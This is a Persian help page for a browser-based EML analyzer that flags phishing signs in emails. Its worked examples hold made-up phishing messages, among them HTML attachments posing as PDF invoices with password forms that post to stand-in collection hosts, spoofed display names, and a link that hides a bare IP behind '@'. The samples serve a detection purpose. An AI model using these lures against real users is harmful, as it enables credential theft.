ایمیل

تحلیلگر فایل EML

اجرای محلیجدید

خود ابزار به زبان انگلیسی است؛ این صفحه آن را به زبان شما توضیح می‌دهد.

از تحلیلگر فایل EML استفاده کنید

کارکرد

یک فایل .eml را رها کنید یا متن خام پیام را بچسبانید تا هدرهای فرستنده، زنجیرهٔ Received، لینک‌ها و پیوست‌های آن را بررسی کنید. همهٔ کارها در مرورگر شما انجام می‌شود.

این کاملاً در مرورگر شما اجرا می‌شود: هیچ‌یک از اطلاعاتی که وارد می‌کنید بارگذاری نمی‌شود.

چگونه از تحلیلگر فایل EML استفاده کنیم

  1. پیام خام را تهیه کنید. ایمیل را به‌صورت .eml ذخیره کنید یا متن خام آن را کپی کنید: در Gmail گزینهٔ Show original، در Outlook گزینهٔ View message source، در Thunderbird یا Apple Mail گزینهٔ View source. فایل‌های .msg در Outlook خوانده نمی‌شوند.
  2. آن را بارگذاری کنید. فایل .eml را روی کادر رها کنید یا آن را انتخاب کنید (حداکثر ۵۰ مگابایت)، یا متن خام را در فیلد متنی بچسبانید (حداکثر ۵ مگابایت) و دکمهٔ Analyze (تحلیل) را بزنید.
  3. Summary را بخوانید. یافته‌ها به نشانه‌های خطر، هشدارها، یادداشت‌ها و بررسی‌های موفق دسته‌بندی می‌شوند. هر خط نام هدر، لینک یا پیوستی را که یافته از آن آمده ذکر می‌کند.
  4. جزئیات را بررسی کنید. زیر خلاصه، هدرهای فرستنده، دامنه‌هایی که با دامنهٔ From مقایسه شده‌اند، نتایج احراز هویت، زنجیرهٔ Received، همهٔ لینک‌ها و همهٔ پیوست‌ها می‌آیند.
  5. شاخص‌ها را بردارید. انواع شاخص (indicator) مورد نیاز را علامت بزنید، سپس آن‌ها را به شکل خام یا خنثی‌شده (defanged) کپی کنید، به‌صورت فایل .txt دانلود کنید یا از Send to استفاده کنید.

مثال

پیام فیشینگ ساختگی

ورودی
Return-Path: <bounce@mailer.example>
Received: from mx.example.org (localhost [127.0.0.1])
	by mx.example.org (Postfix) with ESMTP id 4QxYz1; Mon, 19 Oct 2026 09:15:07 +0000
Authentication-Results: mx.example.org; spf=softfail smtp.mailfrom=bounce@mailer.example;
	dkim=pass header.d=mailer.example header.s=s1; dmarc=fail header.from=account-check.example
Received: from smtp.mailer.example (smtp.mailer.example [203.0.113.45])
	by mx.example.org (Postfix) with ESMTPS id 4QxYz1; Mon, 19 Oct 2026 09:15:05 +0000
Received: from [192.168.10.20] (unknown [198.51.100.23])
	by smtp.mailer.example (Postfix) with ESMTPSA id 9A8B7C; Mon, 19 Oct 2026 09:14:58 +0000
DKIM-Signature: v=1; a=rsa-sha256; d=mailer.example; s=s1; h=from:to:subject; bh=AAAA; b=BBBB
From: "support@example.com" <alerts@account-check.example>
Reply-To: billing@example.net
To: user@example.org
Subject: Action required: verify your account
Date: Mon, 19 Oct 2026 09:14:57 +0000
Message-ID: <4471@mailer.example>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="b1"

--b1
Content-Type: text/html; charset=utf-8

<p>Your account will be suspended. Verify it here:
<a href="https://login.example.net/verify">https://www.example.com/account</a></p>
--b1
Content-Type: text/html; name="invoice.pdf.html"
Content-Disposition: attachment; filename="invoice.pdf.html"
Content-Transfer-Encoding: base64

PGZvcm0gYWN0aW9uPSJodHRwczovL2NvbGxlY3QuZXhhbXBsZS5uZXQvcG9zdCI+PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj48L2Zvcm0+
--b1--
خروجی (ثبت‌شده در 2026-10-20)
pasted source · 1.5 KB · 3 MIME parts · nothing left this browser

Summary
6 danger signs
Display name shows support[@]example[.]com but the real sender address is alerts[@]account-check[.]example
DMARC fail (reported by mx[.]example[.]org): the From domain did not authenticate this message
attachment invoice.pdf.html contains a form with a password field
Link text shows www[.]example[.]com but the link goes to login[.]example[.]net
Attachment "invoice.pdf.html": double extension: looks like .pdf but is .html
Attachment "invoice.pdf.html": .html opens in a browser: a common way to deliver fake login pages
2 warnings
Replies go to billing[@]example[.]net, a different domain than the sender (account-check[.]example)
SPF softfail (reported by mx[.]example[.]org) for bounce[@]mailer[.]example
2 notes
Return-Path domain mailer[.]example differs from the From domain: SPF does not cover account-check[.]example (normal for bulk-mail services)
No DKIM signature from account-check[.]example (signed by mailer[.]example): DKIM is not aligned
Sender and key headers
FROM	support[@]example[.]com <alerts[@]account-check[.]example>
REPLY-TO	<billing[@]example[.]net>
RETURN-PATH	<bounce[@]mailer[.]example>
TO	<user[@]example[.]org>
SUBJECT	Action required: verify your account
DATE	Mon, 19 Oct 2026 09:14:57 +0000 (2026-10-19 09:14:57 UTC)
MESSAGE-ID	<4471[@]mailer[.]example>
Domains compared with the From domain

From domain: account-check[.]example. DMARC passes only when SPF (Return-Path) or DKIM (d=) is from the same organization.

HEADER	DOMAIN	COMPARED WITH FROM
Reply-To	example[.]net
…

نام نمایشی که خود را support@example.com جا می‌زند، Reply-To و DKIM روی دامنه‌های دیگر، DMARC با وضعیت fail، لینکی که متنش www.example.com را نشان می‌دهد اما به login.example.net می‌رود، و پیوستی با نام invoice.pdf.html که یک فرم رمز عبور دارد.

آنچه بررسی می‌کند

سیگنالمعنای آن
نام نمایشی حاوی آدرس ایمیلوقتی نام یک آدرس را نشان می‌دهد و فرستندهٔ واقعی آدرس دیگری است، نشانهٔ خطر است. برنامه‌های ایمیل اغلب فقط نام را نشان می‌دهند.
Reply-To روی دامنهٔ دیگریک هشدار: پاسخ شما به سازمانی غیر از فرستنده می‌رود.
Authentication-ResultsDMARC fail و SPF fail نشانهٔ خطرند؛ SPF softfail و DKIM fail هشدارند. فقط نتیجه‌ای که ارائه‌دهندهٔ خود شما اضافه کرده معتبر است.
دامنه‌های Return-Path و DKIM d=وقتی با دامنهٔ From تفاوت داشته باشند، یادداشت می‌شوند. این برای سرویس‌های ارسال انبوه ایمیل عادی است، اما DMARC لازم دارد یکی از آن‌ها هم‌راستا (aligned) باشد.
زنجیرهٔ Receivedگام‌ها از قدیمی‌ترین به جدیدترین همراه با تأخیرها فهرست می‌شوند. زمانی که از گام قبلی زودتر باشد، تأخیر بیش از یک ساعت یا DNS معکوس با عبارت "may be forged" علامت‌گذاری می‌شود.
متن لینک و مقصد آنوقتی متن قابل مشاهده نام یک دامنه را دارد و لینک به دامنهٔ دیگری می‌رود، یا متنی پیش از @ میزبان واقعی را پنهان می‌کند، نشانهٔ خطر است. IPهای خام، punycode، کوتاه‌کننده‌های لینک و لینک‌های بسته‌بندی‌شده (wrapped) هم علامت‌گذاری می‌شوند.
پیوست‌هاپسوندهای دوگانه، فایل‌هایی که کد اجرا می‌کنند یا در مرورگر باز می‌شوند، محتوایی که با پسوند جور نیست و ترفندهای right-to-left override علامت‌گذاری می‌شوند. برای هر فایل SHA-256، SHA-1 و MD5 محاسبه می‌شود.
فرم‌ها و اسکریپت‌ها در HTMLفرمی با فیلد رمز عبور در متن پیام یا در یک پیوست، نشانهٔ خطر است. کد اسکریپت داخل یک پیوست یک هشدار است.

نمونه‌های بیشتر

لینکی که یک آدرس IP را پنهان می‌کند

ورودی
From: IT Desk <it@example.com>
To: you@example.org
Subject: Mailbox full
Date: Tue, 20 Oct 2026 08:00:00 +0000
Message-ID: <b2@example.com>
Content-Type: text/html

<p>Your mailbox is full. <a href="https://www.example.com@203.0.113.7/login">Upgrade storage</a></p>
نتیجه

۱ نشانهٔ خطر، "1 link: text before "@" is ignored: the real host is 203.0.113.7"، و ۱ هشدار، "1 link: link goes to a bare IP address". جدول Links آدرس را به شکل خنثی‌شده کنار متن آن، Upgrade storage، نشان می‌دهد.

صفحهٔ HTML که خود را PDF جا می‌زند

ورودی
From: Accounts <billing@example.com>
To: you@example.org
Subject: Invoice
Date: Tue, 20 Oct 2026 08:00:00 +0000
Message-ID: <c3@example.com>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="b"

--b
Content-Type: text/plain

Invoice attached.
--b
Content-Type: application/pdf; name="invoice.pdf"
Content-Disposition: attachment; filename="invoice.pdf"

<!DOCTYPE html><html><body><form action="https://collect.example.net/p"><input type="password" name="p"></form></body></html>
--b--
نتیجه

۲ نشانهٔ خطر: پیوست invoice.pdf "contains a form with a password field" و "content is HTML document, not .pdf". کارت پیوست Content: HTML document و سه هش را نشان می‌دهد؛ جدول Links مقصد فرم را با عبارت "form submits data to this address" فهرست می‌کند.

سوالات متداول

EML Analyzer چه چیزهایی را بررسی می‌کند؟

هدرها و همهٔ بخش‌های MIME را کدگشایی می‌کند، دامنه‌های From، Reply-To، Return-Path، DKIM d= و Message-ID را با هم مقایسه می‌کند و Authentication-Results را می‌خواند. همچنین گام‌های Received را همراه با تأخیرهایشان، هر لینک را همراه با متن قابل مشاهده‌اش، و هش‌های SHA-256، SHA-1 و MD5 هر پیوست را فهرست می‌کند.

آیا می‌تواند ثابت کند که ایمیلی فیشینگ است یا امن است؟

نه. واقعیت‌ها و نشانه‌های هشدار را نشان می‌دهد، نه حکم نهایی: ایمیل‌های انبوه قانونی اغلب Return-Path یا دامنهٔ DKIM متفاوتی دارند، و امضاهای DKIM فهرست می‌شوند اما از نظر رمزنگاری تأیید نمی‌شوند. فایل‌های .msg در Outlook پشتیبانی نمی‌شوند؛ ابتدا پیام را به‌صورت .eml ذخیره کنید.

آیا ایمیل جایی آپلود می‌شود؟

نه. فایل در مرورگر شما خوانده و تجزیه می‌شود، HTML به شکل متن نمایش داده می‌شود و هرگز اجرا و نمایش (render) نمی‌شود، و هیچ چیز از طریق شبکه فرستاده نمی‌شود. دکمهٔ Send to (ارسال به) نتیجه را از طریق session storage مرورگر شما به صفحهٔ ابزار دیگری می‌فرستد.

به کدام هدر Authentication-Results اعتماد می‌کند؟

به هدری که سیستم ایمیل خود شما اضافه کرده است، که از روی زنجیرهٔ Received شناسایی و با برچسب "added by the recipient's server" مشخص می‌شود. هدرهای پایین‌تر در پیام را فرستنده می‌تواند بنویسد، بنابراین صفحه به شما می‌گوید فقط به نتیجهٔ ارائه‌دهندهٔ خودتان اعتماد کنید.

آیا می‌تواند ایمیلی را که به ایمیل دیگری پیوست شده باز کند؟

بله. پیام پیوست‌شده همراه با هش‌هایش و دکمهٔ "Analyze the attached message" (تحلیل پیام پیوست‌شده) فهرست می‌شود که آن را در همین نما باز می‌کند. "Back to the outer message" (بازگشت به پیام بیرونی) شما را برمی‌گرداند.

چرا برخی آدرس‌های IP در میان شاخص‌ها نیستند؟

آدرس‌های خصوصی و محلی و گام‌های داخل سیستم ایمیل خود گیرنده کنار گذاشته می‌شوند، چون به سرورهای فرستنده اشاره نمی‌کنند. آدرس‌های ایمیل گیرنده هم هرگز در آن‌ها قرار نمی‌گیرند.

توضیح اصطلاحات

تحقیقات فیش‌دِستروی